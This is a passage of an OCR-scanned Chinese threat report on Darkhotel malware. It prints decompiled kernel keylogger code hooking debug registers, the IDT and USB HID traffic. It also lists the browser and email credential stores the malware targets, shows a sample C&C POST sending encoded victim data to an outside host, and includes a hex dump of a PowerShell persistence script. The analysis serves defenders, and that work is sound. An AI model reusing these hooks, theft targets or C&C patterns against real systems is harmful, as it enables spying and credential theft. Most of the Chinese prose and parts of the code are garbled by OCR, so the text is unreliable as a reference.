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2.1 Thakt iR

20144E , Darkhotel{g FH 7 —2541 %3 Windows XPFH P NemimP 204 |, FHEE R FAS(EE2KEE |,
SMBIRFLICK A A HERAE , EALRMIH.

2.2 LHIREN
ZEUHTRSAWINOX, XPE(2000 , ZAHATELHE R R #ndiskpro.inf 3 AR 30K 5],

St Vista & S AR KIWindows , 2B {45 B2 e 10 R IR B 2 C:\Windows\system32\drivers , FFiEf A RS
RREIKS :

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ndiskpro

RMZFAREEMBET , TEREATER , BURF4HH R BRWindowshRAHIEAE
23 WERGER

ZAMREYUIERAEMBEXM , RNBRFRENESR , XHHE%Amp , FFRAf2”IN_EiE)
B. SXEREN |, & La0E R RE L BT AR 1N, RIDGETE I B BCA 4 FR IR B 530

WERMEEN AR , BERRRE—XNANE , BiEAREENAFEERMENEDEE.
LI HFRAIRE1Z. PIDAFTBA &,
2R R AAEMRER , DBRERERFNER,. BRAS. ROENTEKER !
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HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

14 S B AR IR AT R BIFTR -

================== Tnstalled Program [RegKey] [Name] [Version] [Publisher] [Path] ==================
[Notepad++] [Notepad++ (32-bit =x86)] [7.7.1] [Hotepad++ Team] []

[Cfficel5.PROPLUS] [Microsoft Office Professional Plus 2013] [15.0.4420.1017] [Microsoft Corporation] [D:\Mi
[WinPcapInst] [WinPcap 4.1.3] [4.1.0.2%80] [Riverbed Technology, Inc.] []

[WinRAR archiver] [WinRAR 5.70 (32—{E]] [5.70.0] [win.rar GmbH] [D:\Winrar570\]

[Wireshark] [Wireshark 2.6.5 32-bit] [2.6.5] [The Wireshark developer community, https://www.wireshark.org]
[{1F1C2DFC-2D24-3E06-BCBE8-T25134ADF989}] [Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148] [9
[{2E295B5B-1AD4-4d36-97C2-A316084722CF}] [Pvthon 2.7.2] [2.7.2150] [Pyvthon Software Foundation][]

Running Process [Process] [ID] [User] =———==============
[[System Process]] [0] [1]
[Sy=stem] [4] []
[\SystemRoot\System32\smss.exe] [312] [SYSTEM]
[C:\Windows\system32\csrss.exe] [412] [SYSTEM]
[C:\Windows\system32\wininit.exe] [464] [SYSIEM]
[C:\Windows\system32\csrss.exe] [472] [SYSTEM]

HXBHFEWENRNE  BiEERESNERLER , FCRIE.

BRERYATZEEAMIRE, PIDARIRIXE , BTEE A AR LS , REREHISAZXA , LUCRA
X SRR

R R R R R R R R R R R R R R R R R R R R R R R OE R R R R
(6-15 15:48:13)
[Frocess title: D:hwinfo.txt - Notepad++, path: D:\Notepad++\notepad++.exe, ID: df4]

FERNERRNBSEEIER PEREE , B RENIRA R E, ZAHE LR IRIME S AX I HD
0x220004L/ET IR TS BN , HEEFFEAXITHIRL0x220000 kI E H#NE , BTESABE
FHn#z,

2.4 Rootkit&EHERNS

Darkhotel 13K Eh2HHR B T VOBEEWT & , FFHook T int 0x1/p Wr4b I8 [E]3&FNIofCallDriver , M\TM%KEXE!
PS/25R I ANUSBEES IH4R1E 2.

2.4.1 FEPS 2R HRAS
ZIR NFRCPUMR A E RS 25 , FFHREDPCEf,

FEDPCEIAF |, AR R E ik 0x60F10x649) RIS N\ drOFM dr1Zr 772y , Fdr7 e xT N A s ch — it
H10 , URBEVORHREERT . RIEAT BilEMT mAE TS VIRET & , IRSNZE T dri7IGDAL |, {F1E
{AIRIEk S ORI A F2S R E B S filA 1S I,
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should _hook_idt SBAE@ = 1;
5 = __readcr4(},
dword 58368 = v5;
__writecrd(vs | 8);
VB = __readdr(&}j
old dr@ = vi;
7 = _ readdr(lu);
Dld drl = v7;
/8 = _ readdr(2u);
old_dr2 = vB;
__writedr(@, @xebu); ff dr@ = Bxe8
__writedr(lu, @xed4u); £ odrl = BxBd
__writedr(2u, Sub_13418 ptr);
9 = _ readdr(7u); // dr7 = 1000100010011100111111
£/ dr7.RW8 = 18
ff dr7.RW1 = 18
old dr? = vO;

__writedr(Ju, @x22273Fu);

BRERISTIAIERBBCAE D KR, JUORE PR R

SRR B DFAFE

hook_cb >> 16;// {ZpiHighoffset

by// 2R Lowoffset

SRBTEER%.

18_entry_addr = get_idt_entry_by_index(1u);// hook int exe1 BERE
v1l hi offset = *{ _WORD *)}(v1@ entry addr + &);
nrlglnal idt cb S582E@[a2_cpu_index] = v1l hi offset;
*(_WORD ”}(.;3 entry_addr + E} (unsigned int)idt_single_step_|
12 = *(_WORD *)vI try_addr
1dt_entry_115t[32_::J__14—;] = ‘(_;:RE *Ywl@ entry_addr
*(_WORD *)vl@ entry_addr = {unsigned int)idt 51ngle step hook_c
byte 953BA48@[a2 cpu_index] = *(_BYTE *}(v1@ _entry addr + 5);
=(_BYTE *)(v1@_entry addr +5) |= @xEeu;

13 = (vll_hi_, et << 18) + vl2;

vld = *{ WORD *)(get_idt entry_| by index(1u) + B);
dword 9538&34B[a¢ cpu_index] = vl13;

esult = get idt entry by index(@xFFu); // hook int @xff
*(_WORD ”)(':;J_t + 6) = (unsigned int)idt_@xff_hook_cb >»> 16;
W *Yre = (unsigned int)idt exff_hook_ch;

*( BYTE )( ~esult + 5) |= @xEeu;

HE1SH W HookeR¥F , KWE UFIFE B BEE
W7 SORAS |, B LRI/ O I RE S Yl M 538

RO S i Mt |, MERE A 58 MUVO0TES . BT &IV S LRI/ OFES

RE , FBEXTN K ERREEN/OFES B L,

0: kd: u poi{poi{[ebp—-34h]))-1

hal |READ PORT_UCHAR+0=6:

22e3d0%: ec in al.d=x

82239090 =Z20400 ret 4

A2e3909%= 8bif o edi, edi

hal |IREAD PORT_TUSHORT:

32e390a0 33c0 EOT 23X, 2aX

A2e390a? 8b542404 o edx, dwvord ptr [esp+d]

32e390ab bhed in ax, d=x

A2e390ad 20400 ret 4

g2edf0ab 90 nop
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Y
il s 5
loc_95374958:
mov eax, [ebptvar_34 trap_code_addr_ptr]
mov ecx, [eax]
mav [ebp+var_28 code_addr], ecx E4 64 IN AL, Bx64
mov edx, [ebptvar_28 code_addr] E4 68 IMN AL, 8x68
mav [ebptvar_4 code_addr], edx EC IH AL,DX
mov eax, [ebptvar_4 code_addr] EG 6U ouUT Bx64,AL
sub gax, 1| E6 68 OUT B8x68,AL
mov [ebp+var_4 code_addr], eax EE OUT DX,AL
mow ecx, [ebptvar_4 code_addr]
movzx  edx, byte ptr [ecx]
cmp edx, Gidh
jz short loc_953
|1 o .
FI S RERORSIES REES
[l e =] J 64h#060h
mov eax, [Eb%ar_tl-_cade_addr]
movzx  ecx, bytd ptr [eax]
cm ecx, B@h
jnz short loc_ 95374996
I0ESES TR HEEIE IOESEESPIRNEESFHET
Yy
[l it =]
loc_95374985: loc_95374996:
mov edx, [ebptvar_4 code_addr] mov ecx, [ebp+var_4 code_addr]
sub edx, 1 maw [ebp+var_28 code addr], ecx
mov [ebp+var_4 code_addr], edx
mov eax, [ebptvar_4 code_addr]
mov [ebp+var_28 code_addr], eax
jmp short loc_9537499C

HERENAE , BfF

1. LRSS

2. /Ot54HE—NFT

3. /OiEAS

4. EERRE , ofRFEEA , 1RKREiwA

5. VOTESILAMTFR . (HOUTIES BIAFIESR)
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Dthrlnt( \EAENE\tBxEBX port access, data =

else

Dthrlnt( Bx%8X port access, data
= get_new_postion_fr_keylog_info();
index != -1 })

switch { a3_io code_1st_byte

{

case @xEdu:

set_keylog info(vi_k

break;
case @xEou:

set_keylog info(v3 _k

break;
case @xECu:

set_keylog info(vi _k

break;
case @xEEu:

set_keylog_info(vi_k

break;
default:

set_keylog_info(v: k

break;

= BE3X\n",

0 kds dd poi(953B9340+poi(shp+3i%d)

8550b510 00000001
8550b520 00000064
8550b530 00000000
8550b540 00000000
8550b550 00000000
8550b560 00000000
2550b570 00000000
g8550b580 00000000
8550b590 41204=49
8550b5a0 00000000

ooooo00z
goooools
oooooonoo
oooooonoo
oooooooo
gooooooo
gooooooo
oooooooo
44202c4c
oooooonoo

000000ec
oooonooo
oooooooo
oooooooo
oooonooo
oooooooo
oooonooo
oooonoaoo
oooonnss
oooonooo

al_port, a2 |

L2&

goooooaoo
gooooooo
oooonooo
oooonooo
gooooooo
goooooaoo
gooooooo
oooonooo
oooonooo
oooonoao

0 kds da poi(953B9340+poi(ebp+3i%d ) +0x30
8550b590 "IN AL, DX"

2.4.2 315 Hid-USBEH HERNE

axEBX\n", Bw6d,

ey_code_or_state);

e_or_state);
_port, a2_key code_or_state, "IN AL, DX");
_port, a2 key code_or_state, "OUT AL, DX"};
_port, a2_key code_or_state, "IN AL, DX");
_port, a2 key_code_or_state, "OUT AL, DX"};
_port, a2_key_ code_or_state, "IN AL, DX");

IR X TofCallDriverffil 7 PNE¥XHook , 5cif FHHookeR%k , BE A JRi4TofCallDriver, fEHookeRZhT |, iTjEH

F/BIREh4 7”\Driver\usbhub”(USBiIX % |, 343118

RIS, WEhFFR—1 AL
BAUSBRERE

BEE

SZImAMASIREFTHEE |

%ENU&E;&USBM%‘\MQ
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while ( !should_not_enum )
1
KeDelayExecutionThread(®, @, &Interval);
for ( a3_index = @; a3_index < 18@; ++a3_index )

if ( get_dev_info_by index(&DeviceObject, &32 is hid kdb, a3_index) > @ )

DbgPrlnt( [Dutput DeviceObject = @x¥8X, bIsHidkbd = @x%8X\n", DeuiceDbject, a2_is_hid_kdb};
if ( a2_is_hid_kdb == 1 )
break;
if ( DeviceObject )
{
DbgPrint(" \n");
DbgPrint("Hid Report check!!, Before DeviceObject = @xX¥8X\n", DeviceObject);
P_hid_report_des_ptr = get_hid_report_ptr_and_len(DeviceObject, (int)&v2_hid_report_len});
DbgPrint (™ \n");
DbgPrint("Hid Report check!!, After DeviceObject = @x¥8X\n", DeviceObject);
if ( P_hid_report_des ptr )

if ( is_keyboard_report des_exist((int)P_hid report_des ptr, w2 _hid_report_len) )

|list is_hid_kdb[2 * a3 _index] = 1; |
DbgPrint( Hid Report Exist, CheckDeviceObject = @x#8X, Index = @x&8X!!\n", Devicelbject,
DbgPrint(" \n"Yy;
ExFreePoolWithTag(P hid_report_des ptr, @);
break;

STFINRFRFEMEE |, ZIRNEFH— N NEBIRPFHE NURBKRIRFUSBHEO KRG , PREEZXEE

BABTUSBHES, WNEFIRPAIRP_MJ_INTERNAL_DEVICE_CONTROL , ZhEERD A

IOCTL_INTERNAL_USB_SUBMIT_URB, HookfIofCallDriverl&ZIiZNEEHIIRPEZEFIR([A] |, IEEUE

44 [RiATofCallDriverF AL H

PVOID _ stdcall get hid des ptr(PDEVICE_OBJECT DeviceObject)

_URB *P_urb_ptr; // 5714 4
NTSTATUS w3; // 5T16 4
PVOID v4_hid_des_ptr; // [esp+Ch] [ebp-4h]

if ( !DeviceObject ) /O EERETIE
return 8;

P urb ptr = ( URE *)ExAllocatePoolWithTag(®, @xS56u, @x286B6444u);

vd hid_des_ptr = ExAllocatePoolWithTag(®, 9u, @x206B6444u);

memset(F_urb ptr, @, @x58u);

F_urb_ptr-:UrbHeader.Length = @x58;

P urb_ptr->UrbHeader.Function = @x28; // URB_FUNCTION_GET_DESCRIPTOR_FROM_INTERFACE
F_urb_ptr-:UrbControlDescriptorRequest.Index = @;

P urb ptr-:*UrbControlDescriptorRequest.DescriptorType = 8x21;

P urb ptr-:*UrbControlDescriptorRequest.TransferBuffer = w4 hid des ptr

P urb ptr-:UrbControlDescriptorRequest.TransferBufferLength =

v3 = make_irp_for_cur_dev(DeviceObject, (int)P_urb_ptr);
ExFreePoolWithTag(P_urb_ptr, @);
if (w3 =18
return v4_hid_des_ptr;
ExFreePoolWithTag(v4_hid_des_ptr, 8);
return 8;

KT A F R Y BRI RNEFIRP |, MlofCallDriverfhiHookeR¥ N4 1T IR ) & #RIFH T B HIIRP :

if ( !al dev ptr->DriverObject->DriverName.Buffer )// JEENEF
return @;
v3 = wcslen(L"\\Driver\iusbhub™});
if { wecsnicmp(al_dev_ptr-»DriverObject->DriverName.Buffer, L"\\Driver\\usbhub", w3} )
return 8;
vB_next_irp_sp ptr = (PIO_STACK_LOCATION)(a2_irp_ptr->Tail.Overlay.PacketType - 36);
if { is_self_made_irp(a2_irp_ptr, al_dev_ptr} )
return 8;
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BERFRERFNIREHEARSAREMX

BOOL _ stdcall is_keyboard_report_des_exist(int al_hid_report_des_ptr, int a2_hid_report_len)
int i; // [esp+8h] [ebp-8h]
if ( !'al_hid report_des_ptr )
return a;
print_hid r‘epor‘t_in‘FD(5;_""_:_'533'—_'=-'_"—'J 32_hid_report_len)
for ( a;
< a2_hid_report_len - 1
2 ( (| BYTE *y(i + al_hid report_des ptr) !=9 || *(_BYTE *){i + al _hid_report_des_ptr + 1) != 6);
i)
{ . code char KeyBoardReportDescriptor[..] = {
}’ ox05, 0x01, o
return i < a2 hid report len - 1; 0x09, Ox08&, =
} -

Iia , HHookIofCallDriversR B H /IR R USBIR &R , NS RFPEHEEM
ZNHid-USBAEE , NI E B HSERIS FRRE , FHERP RN 5= EREZE A R EAK.

UKz #EMJ_DEVICE_CONTROLEIEF W ASA A T ARISHIED, a3 , 564
0x220000 , NI ERIER(S EEHEE R PSAME. BT A0x220004 , RTEE XSV ELE.

=, FERORAN
3.1 TRk

ZEAFERWinRar SEXB @ ESUHERRFIETT , STBAANNES . ABMER g, BRLAKEE |
[E{£2|C&C,

3.2 MERGEFRER

WEITENAFR,. AF%. AHIP, MACHEh K HHash,
UIRNEMER  WECPURE. ITEALE S MIRERRBIRRA.
X BT SKarba FE2$3EHE AL,

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\
ProcessorNameString
Identifier

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\InstalllLanguage
HKEY_LOCAL _MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\
CSDVersion

ProductName
CurrentVersion

XEAE B SR S AT M E M Base644RH .
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PARRZS 77 B A _EROTEIR 25 R | 2B 44458 FA COMEZR 4 BT UrIHistory Stg24% 1 k45 N E 28 [ SR gk

BB

B18Das20
B18DBGEA
B18DB66A
818DB620
B18DA580
B18DB530
B18DB4FA

UHICODE
UHICODE
UHICODE
UHICODE
UHICODE
UHICODE
UHICODE

“http://www _msn.cn/™

“https://www_baidu.com/™

“"File:///c:fuserss Fdesktop/! 3
“http://www_baidu.com/"
“http://static—global-s-msn-com.akamaized.net/hp-ea
“http://go.microsoft.com/fulink/"
“http:/fwww_msn.cnf/Zh-cn™

Z JEVRI AN AR AL

HKEY_CURRENT _USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2

St mERE T BIEE R4, BRMEBX N URLIAE

| IESetting
IETId
a- | IntelliForms
| Storage?
. International
. InternetRegistry
>~ | LinksBar
- | LinksExplorer
| Low Rights
) LowRegistry
>+ | Main
- }) MAQO Settings
MenuFxt

3
v
G

o Esic) g
REG_SZ (BEFIRE)

E REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb...
‘-'-'6]“246566848810... REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb...
74| 2709F1B69160... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb...
74)3221B9EACDY... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8¢ 7a 00 0 4f c2 97 eb...
‘.’.'-?]43FE3C397E51... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8¢ 7a 00 0 4f c2 97 eb...
%) 737E42ECBAS... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 <0 4f c2 97 eb...
%4 7SE93D28900E... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 <0 4f c2 97 eb...
%4 A7544E111A50... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 <0 4f c2 97 eb...
74 AA3BADCOECS... REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb...
74| BOGFSEBOT121... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb...

ESBIAFARERER A SEICR , SEURTARICRPROFLURL | BOXBAHFERE S BT LICRF

i, EB&T —#tMEESIER

http://twitter.com

http://facebook.com

TR

http://passport.yandex.ru/passport

http://www.yandex.ru
http:/qip.ru

http://mail.qip.ru

https://login.nifty.com/service/login

http://e.mail.ru/cgi-bin/login
http://mail.ru

http://mail.126.com
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https://lavabit.com/apps/webmail/src/login.php

http://www.bigstring.com

http://www.gmx.com

http://passport.sohu.com/indexaction.action

http://www.sohu.com

https://www.zoho.com/login.html

http://mail.sina.com.cn
http://members.sina.com/index.php

http://www.care2.com/passport/login.html

http://www.mail.com/int
https://fastmail.fm/mail

https://www.inbox.com/login.aspx

http://www.gawab.com

http://mail.163.com

http://registration.lycos.com/login.php

http://www.mail.lycos.com

https://my.screenname.aol.com/ cqr/login/login.psp

https://edit.bjs.yahoo.com/config/login

https://login.yahoo.co.jp/config/login

https://login.yahoo.com/config/login verify2

https://login.live.com/login.srf

https://www.google.com/accounts/servicelogin

A, PR T —LERE S EEEERNMM S, IHFTRAXE R, TEREHEAREE
FHE.

STFATNEES | ZA L E AR BR. . \AppData\Local\Google\Chrome\Application , £1% B 3% N0
TEFREREBERES.
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A FARIBAS R RR A [R) B 3 b 2s B sqlite BB . , iR RS R BB RIK S,
6.0 HP E \Google\Chrome\User Data\Default\Login Data

6.0AF \Google\Chrome\User Data\Default\Web Data

BEsh |, R SR LT & PR AR

o JOMNIBEEF

e Outlook

e Windows Mail

e Windows Live Mail
e MSN

e Gmail

e Google Desktop

e Google Talk

3.4 WEITHISCHMZRIRHER

LR 4 iwindows RecentH 3R FNC:\Program FilesH 3% , PSSR A IR HAANESUHFIE I EE. 4
HXTEHIR S TEITHENT , P ddifERFKBHE X,

HREANB BIEGS1T. HEINE. XAEIEE, XHR/INISE.
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63 64 28 43|30 5C 55 73 (65 72 73 SC 'cd C:\Usersy’

SC 61 78 78|64 61 74 61|5C 72 &6F 61(6D 69 6E 67 |\appdata‘sroaming
EC 6D 69 63|72 6F 73 6F |66 74 SC 77|69 6E 64 6F |\microsoftiwindo
77 73 5C 72|65 63 65 6E|74 3B 28 64|64 69 72 3B|wshrecent; ddir;
28 63 64 28|43 3A SC 58|72 6F 67 72|61 6D 28 46| cd C:\Program F
69 6C 65 73(3B 28 64 64|69 72 BA 2D(2D 2D 2D 2D|iles; ddir.--————-
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—""—————
20 2D 2D 2D @A 43 3A S5C(55 73 65 72|73 SC -———.C:\Usersh

( TLC 61|78 78 64 61|74 61 5C 72 |6F 61 6D 69 ‘appdatayroanmi
6E 67 SC 6D|(69 63 72 6F |73 6F &6 74(5C 77 69 6E|ngimicrosoftiwin
64 6F 77 F3|5C 72 65 63|65 6E 74 8A 2D 2D 2D 2D | dowshrecent.-—-—-
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D\ 2D 2D 2D 2D(2D 2D 2D 2D\ 2D 2D 2D 2D|-—-——-—"-—"-—"—"——————
20 2D 2D 2D 2D 6A 64 64|60 72 28 43 )30 SC 55 73| ———- .ddir C:\Us
65 72 73 5C EC 61 78 78|64 61 7h 61 |ersh, MAappdata
EC 72 6F 61|6D 69 6E 67 |5C 6D 69 63 (72 &6F 73 6F |\roamingimicroso
66 74 SC 77|69 6E 64 6F |77 73 S5C 72|65 63 65 6FE|Ftiwindowsirecen
74 B8R BA 32|28 32 308 2D (38 36 2D 32(33 20 28 31 | t..2828-86-23 1
34 3n 31 34|30 38 30 20|28 3C 44 49 /52 3E 20 20| 4:14:88 <DIR>
20 28 28 28|20 28 28 2E(6An 32 38 32|38 2D 38 36 -.20820-06
20 32 33 28|28 31 34 3a (31 34 3n 32038 28 28 3C|-23 14:14:88 <
Ly 40 52 3E|20 28 208 28|28 28 28 20|28 2E 2E oA |DIR> .-
32 38 31 39|20 38 34 2D (38 32 28 20|31 34 3n 32 |12819-04-82 14:2
33 3a 31 32|20 28 20 28|28 28 28 20|28 28 31 39|3:13 19
33 32 28 20|31 Z2E 7u 78|74 2E 6C 6E|GB BA 32 38|32 1.txt.1nk.20
31 39 2D 38|39 2D 32 37|28 28 31 36(3n 32 37 30| 19-89-27 16:27:

BESh , REARYER AL LRSS, FFEBEE M B E1E2IC&C, R IETVEFE
doc, docx, xls, xIsx, ppt, pptx, gul, eml, pdf, ktx, ifa, if3, rtf

3.5 5C&CHIE{S

HIHEKC&C , FHREMEEAECKC , REFMHIE.

BB, MCKCEEWERATRAESR , AN SR BME , B ARERRIE 4. &
TFERMGBNEERNT | HEd MBS,

aF
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Z SREFC&CEHESIE , REIMHTTPHNA FE A F AR “minmei” A ] AW , BRLRLEIERECKC, SE4N
CRCEFRImEZINERE , BIIRBUEFHRFTKC&C,

POST /html/docu.php HTTP/1.1

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1; Trident/4.8; SLCC2;
.MET CLR 2.8.58727; .NET CLR 3.5.30729; .NET CLR 3.8.38729; Media Center PC 6.8)
Host: fenrix.yaahosting.info

Content-Length: 317

Connection: Keep-Alive

Cache-Control: no-cache

ITQZCXw=; 448260191 F8+5F31cB3166Fed72bacac;
98ed768ab728a8f74adb957c31f1a213 ; G5kaFHVHby sAPQkaCyIPbnFYASofAmMgCQgX0xcnaGlgeexCZiadv0

P4, RAT 2015

4.1 ThEEME R
ZRATHHESCCETS |, FRIECKCIESPITISEISE. . %Rk,
4.2 FEAG

20155 ) Darkhotel IR A Ek far B /R H ARGRAET T , SRMAFEZ , ZANTARF , UAESPITREENR
FzE:

e antonie

e Antony

e janettedoe

o makrorechner
e Dave

e Hanuele Baser
e Administrator

e User
4.3 C&CH54

A SCKCHIB(ETESMT
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EE—1ENE , PLE@RIEIT Dropbox ApiTefk , SAPT37HIZAHEFZAN. CRCTFANBHLTLZNTIE
YEF{E FA3SDESINE, FUE_HERIRAERTLZNTIEYSE , Sxorfinig,

BEsh  AB ML TERITIHRREH AR
4. RAT kbxxxxUpd.dll

5.1 ThEEM R

ZDLLAK &% {F AMInkit TICHR R T 228 T3k, BTRAMBRATIER , 2 5C&CHITIE
{5, FIRIECKCHESITICMH. SHFE. JEMFRIRIE.

ZRAT- SRS ATIAR 20155 HRATE Mz 4L |, (BIB{EIMUE R K.

5.2 ¥4tk

ZAFEFNFEEZE TS HET TN RN EEERSE. ACEEETRREERF 3B HH
0x1DCC8~0x1E270 EAL , EFEFIZITER FKEANOSASHHAN (FTHAIFEFSC&CHEISIK
) .
ACEEERNAETE

o CCIBAHFNEKRIKIE

o« ZHXHREFNE

o BRI EIR
o NEERNIBERSE

=

H/e , RFERARSE L MECEEE BRGNP R C&CHIIEFHZ=AEH
5.3 MBS
ARG IEL{E FAwindows api-5 B HlIBLEMIN S CCHMEIRE.

B EaERRENE , REEAEFT

¥or encrypted data

FEMEE , ERBIEID KTEE S I THE R E

0x1:0x2 Ox2:0x8E OxBE:0x96(0x9E) | 0x96(0x3E):

[Ern::rl,-'pt type] |([encryptkey] |[encrypt IV] [encrypt data]

Page 13 of 18



http://blog.nsfocus.net /darkhotel-3-0908/

BIRREIRFZNT

1. { fshal &% | B8FHBLRILHUEO7 8F 63 D4 60 39 74 EBH# Khashkey;

2. {FF3DESE % , Fahashkey4 A58 — Mg B dec_key_1st;

3. {# FARSAB X MR B dec_key_1st , K600 RIA¥IE (H[encrypt typeHEEFIR) MREFSE!
B AMiEE4Edec_key_2nd;

4. {F FARSAE AR fkdec_key_2nd , MBI EF 14075 [encrypt key fiF % 13 2R A IR ZHE
dec_key_final,

5. {8 F[encrypt typelFEEIE L. [encrypt IVIFEERIVEANfR R dec_key_final , XJ[encrypt data]i3t
1THE®.

[encrypt typel FERHIE-SE XANF :

BB ETER , BEFEFRERER  RIBEGSHNARTREREFE=TME :

o BEXHHEERNER
* g 7:1: Elq H 3_}"
° firﬁ:ﬂn E %

5.4 C&C54

VR % e lencrypt data] FHME , PITHIRKRKGS
H—&HLEN AWAES , cmdcodeSemdbuf , SNV HIZFESIERINT -

[EF54 ]-cmdcode

34 cmdcodefii £ 0012?2000 —i#HHI FFFIFE AT |, F2 it — % cmdbuffi# AT Aicmdkey-contentf) F#LFF51) , 18
T emdkeyFRIE TR N BT RRINRE -

[ BFE4 1-cmdkey
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20184 , Darkhotelff FIRAT4T X ERE R B =% BRI €M K.

6.1 FFAM
RATE KB EEHZEA TR

C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Templates\mscleaner.exe

Z JaiBid powershellfy SR EE TS , B EHIFHIFEAR,
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Mk HEX ¥R ASCII
B012F308[24 74 61 73[6B SF 70 61|74 68 20 3D|20 24 65 6E|$task_path = $en
B012F318|76 3n 74 656D 70 2B 27|5C 63 6F 6E|66 69 67 2E|u:temp+'\config.
8012F328 |78 6D 6C 27|3B 24 73 63|68 20 3D 28|4E 65 77 2D|=ml’;$sch = Hew-
BO012F338|4F 62 6A 65|63 74 20 2D|43 6F 6D 4F |62 6A 65 63|0Object -ComObjec
6612F348 |74 28 27 53|63 68 65 64|75 6C 65 2E|53 65 72 76|t('Schedule.Seru
B012F358| 69 63 65 27|29 3B 24 73|63 68 2E 63|6F 6E 6E 65|ice’);$sch.conne
BO12F368 |63 74 28 29| 3B 24 66 6F|6C 64 65 72|20 3D 28 24| ct();$folder = $
B012F378|73 63 68 2E|47 65 74 46|6F 6C 64 65|72 28 27 27|sch.GetFolder(""
BO012F388|29 3B 47 65|74 2D 49 74|65 6D 20 24|74 61 73 6B|);Get-Item $task
6612F398|5F 7@ 61 74|68 20 7C 28|25 7B 3B 24|74 61 73 6B|_path | %{;$task
8012F3A8 |5F 6E 61 6D|65 20 3D 28|24 5F 2E 4E|61 6D 65 2E|_name = $_.Mame.
6012F3B8 |52 65 70 6C|61 63 65 28|27 2E 78 6D|6C 27 2C 2@|Replace(’.xml’,
8012F3C8 |27 27 29 3B|24 74 61 73|6B S5F 78 6D|6C 20 3D 28| '');$task_xml
BO012F3D8 |47 65 74 2D| 43 6F 6E 74|65 6E 74 28|24 S5F 2E 46|Get-Content $_.F
80812F3E8 |75 6C 6C 4E|61 6D 65 3B|24 74 61 73|68 20 3D 28|ullHame;$task =
8012F3F8 |24 73 63 68|2E 4E 65 77|54 61 73 6B|28 24 6E 75|$sch.NewTask($nu
BO12FL408 | 6C 6C 29 3B|24 74 61 73|6B 2E 58 6D|6C 54 65 78|11);$task.XmlTex
B012F418 |74 28 3D 28|5B 73 74 72|69 6E 67 5D|24 74 61 73|t - [string]$tas
80812F428| 6B 5F 78 6D|6C 3B 24 66|6F 6C 64 65|72 2E 52 65|k_xnml;$folder.Re
BO12F438 |67 69 73 74|65 72 54 61|73 6B 44 65|66 69 6E 69 gisterTaskDefini
6612Fu48 |74 69 6F 6E|28 24 74 61|73 6B 5F 6E|61 6D 65 2C|tion($task_name,
BO12FLU58 |28 24 74 61|73 6B 2C 28|36 2C 24 6E|75 6C 6C 2C| $task, 6,$null,
